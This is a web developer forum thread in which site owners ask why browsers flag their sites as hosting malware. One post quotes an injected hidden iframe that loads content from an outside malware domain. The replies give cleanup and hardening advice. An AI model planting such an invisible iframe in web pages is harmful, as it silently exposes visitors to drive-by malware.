Warning: Visiting this site may harm your computer

Discussions of secure PHP coding. Security in software is important, so don't be afraid to ask. And when answering: be anal. Nitpick. No security vulnerability is too small.

Moderator: General Moderators

Post Reply
User avatar
pcoder
Forum Contributor
Posts: 230
Joined: Fri Nov 03, 2006 5:19 am

Warning: Visiting this site may harm your computer

Post by pcoder »

Hi All,
When I opened a site today. I found warning screen with the message
"Warning: Visiting this site may harm your computer".
"The website at http://www.abc.com containt elements from the site a5f.ru,, which appears to host malware....."

Then I scanned the files, I found
"<iframe src="http://a5f.ru:8080/ts/in.cgi?pepsi92" width=125 height=125 style="visibility: hidden"></iframe>"
But I am not resolving how this is added? Is this because of the Virus or Somebody hacked it and added it there?
Can you guys make me more easy to resolve it fast?
I am trying to resolve how this Malware attack happened?

Hope to see your reply soon...
Thanks
User avatar
JAB Creations
DevNet Resident
Posts: 2341
Joined: Thu Jan 13, 2005 6:44 pm
Location: Sarasota Florida
Contact:

Re: Warning: Visiting this site may harm your computer

Post by JAB Creations »

HACKS!
Image
User avatar
kaisellgren
DevNet Resident
Posts: 1675
Joined: Sat Jan 07, 2006 5:52 am
Location: Lahti, Finland.

Re: Warning: Visiting this site may harm your computer

Post by kaisellgren »

Is this your site? And someone injected malware on your site?
User avatar
pickle
Briney Mod
Posts: 6445
Joined: Mon Jan 19, 2004 6:11 pm
Location: 53.01N x 112.48W
Contact:

Re: Warning: Visiting this site may harm your computer

Post by pickle »

What that error means is abc.com has been hacked to include the code from a5f.ru. This isn't a problem with your browser, this is a problem with the site.
Real programmers don't comment their code. If it was hard to write, it should be hard to understand.
User avatar
pcoder
Forum Contributor
Posts: 230
Joined: Fri Nov 03, 2006 5:19 am

Re: Warning: Visiting this site may harm your computer

Post by pcoder »

We developed this site but site has hosted somewhere.
Currently we don't have access on this server except FTP control.
But they may provide me the access.
Can you guys guide me to block this?

Thanks for your reply guys
User avatar
kaisellgren
DevNet Resident
Posts: 1675
Joined: Sat Jan 07, 2006 5:52 am
Location: Lahti, Finland.

Re: Warning: Visiting this site may harm your computer

Post by kaisellgren »

Your application is vulnerable to some sort(s) of attack(s). What kind of applications do you have installed on the server? It's better to uninstall/delete all unnecessary applications, patch the needed ones and evaluate custom written applications. After this is done, clean any possible chunk files on the system, reset passwords and things should be pretty much on the track... hopefully.
rdimou
Forum Newbie
Posts: 1
Joined: Wed Nov 11, 2009 10:00 am

Re: Warning: Visiting this site may harm your computer

Post by rdimou »

We have a web site hosted by a company and we use Joomla as a tool.
There is two days now that when we try to access our site with Chrome browser we recive the warning message.

Warning: Visiting this site may harm your computer!
The website at http://www. .net contains elements from the site chlo.se, which appears to host malware – software that can hurt your computer or otherwise operate without your consent. Just visiting a site that contains malware can infect your computer.
For detailed information about the problems with these elements, visit the Google Safe Browsing diagnostic page for chlo.se.
Learn more about how to protect yourself from harmful software online.
I understand that visiting this site may harm my computer.


The webhost company told us that is something from our part.
Anybody has any ideas?
We thought to scan everyone's pc (everyone who had FTP access)
download all files from host and scan them clean them and upload them..
chance FTP passwords

what else?

they suggested to update the joomla tool because a new version can causing our scripts to be deprecated...something like this.

Can somebody help us?
User avatar
kaisellgren
DevNet Resident
Posts: 1675
Joined: Sat Jan 07, 2006 5:52 am
Location: Lahti, Finland.

Re: Warning: Visiting this site may harm your computer

Post by kaisellgren »

So someone from chlo.se was able to inject links/content on your site? Now that your site has been marked as dangerous, it can be difficult to clean your reputation. That's one reason why security is important part of any website.

As you probably already knew, you can use the public API to see the status of your site: http://www.google.com/safebrowsing/diag ... google.com and use Google Webmaster Tools to try to become clean again.
Post Reply